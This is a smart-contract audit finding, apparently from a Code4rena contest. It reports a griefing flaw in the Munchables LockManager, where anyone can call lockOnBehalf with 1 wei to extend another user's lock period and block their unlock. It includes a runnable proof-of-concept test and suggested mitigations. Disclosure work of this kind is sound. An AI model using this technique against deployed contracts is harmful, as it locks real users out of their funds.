Attacker can call `onBehalfOf` with 1 wei to extend lock period and prevent innocent user from unlocking

[c4-bot-9]

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L275-L294 https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L347-L351 https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L382-L384 https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L410-L411

Vulnerability details

An attacker can perform a griefing attack to extend the unlock period of users that are about to unlock, and effectively prevent users from unlocking.

Proof of Concept

• Bob calls lock
• Unlock period expires and bob is about to call unlock, but then jirard calls lockOnBehalf with 1 wei
• When bob calls unlock, his tx will revert with TokenStillLockedError

Following test can be added in tests/managers/LockManager/subaccount.test.ts:

it("attacker calls lockOnBehalf with 1 wei and extends lock period", async () => {
  // Bob calls `lock`.
  const lockTxHash = await testContracts.lockManager.contract.write.lock(
    [zeroAddress, parseEther("1")],
    { account: bob, value: parseEther("1") }
  );
  await assertTxSuccess({ txHash: lockTxHash });

  // Lock period passes.
  await testClient.setNextBlockTimestamp({
    timestamp: STARTING_TIMESTAMP + ONE_WEEK * 7n,
  });
  await testClient.mine({ blocks: 1 });

  // Jirard calls `lockOnBehalf` with 1 wei = 1n.
  const lockOnBehalfTxHash = await testContracts.lockManager.contract.write.lockOnBehalf(
    [zeroAddress, 1n, bob],
    { account: jirard, value: 1n }
  );
  await assertTxSuccess({ txHash: lockOnBehalfTxHash });

  // Bob won't be able to unlock since TokenStillLockedError.
  await assert.rejects(
    testContracts.lockManager.contract.simulate.unlock([zeroAddress, parseEther("1")], {
      account: bob,
    }),
    (err: Error) => assertContractFunctionRevertedError(err, "TokenStillLockedError")
  );
});

Impact

The unlock time will be extended by a value which is either the player setting or current the minimum configuration if the player setting is zero.

However, since the attack can be made with 1 wei + gas (affordable on blast), it can realistically grief real users which are about to unlock.

Another impact is that it can cause setLockDuration to fail if the block.timestamp _duration input is smaller than the current unlockTime.

Tools Used

Manual review

Recommended Mitigation Steps

One approach could be to add a min quantity to call lock. Another approach could be to don't extend the unlock period when calling onBehalfOf. Another option could also be to only extend the unlock period via onBehalfOf when called via trusted addresses.

Assessed type

Invalid Validation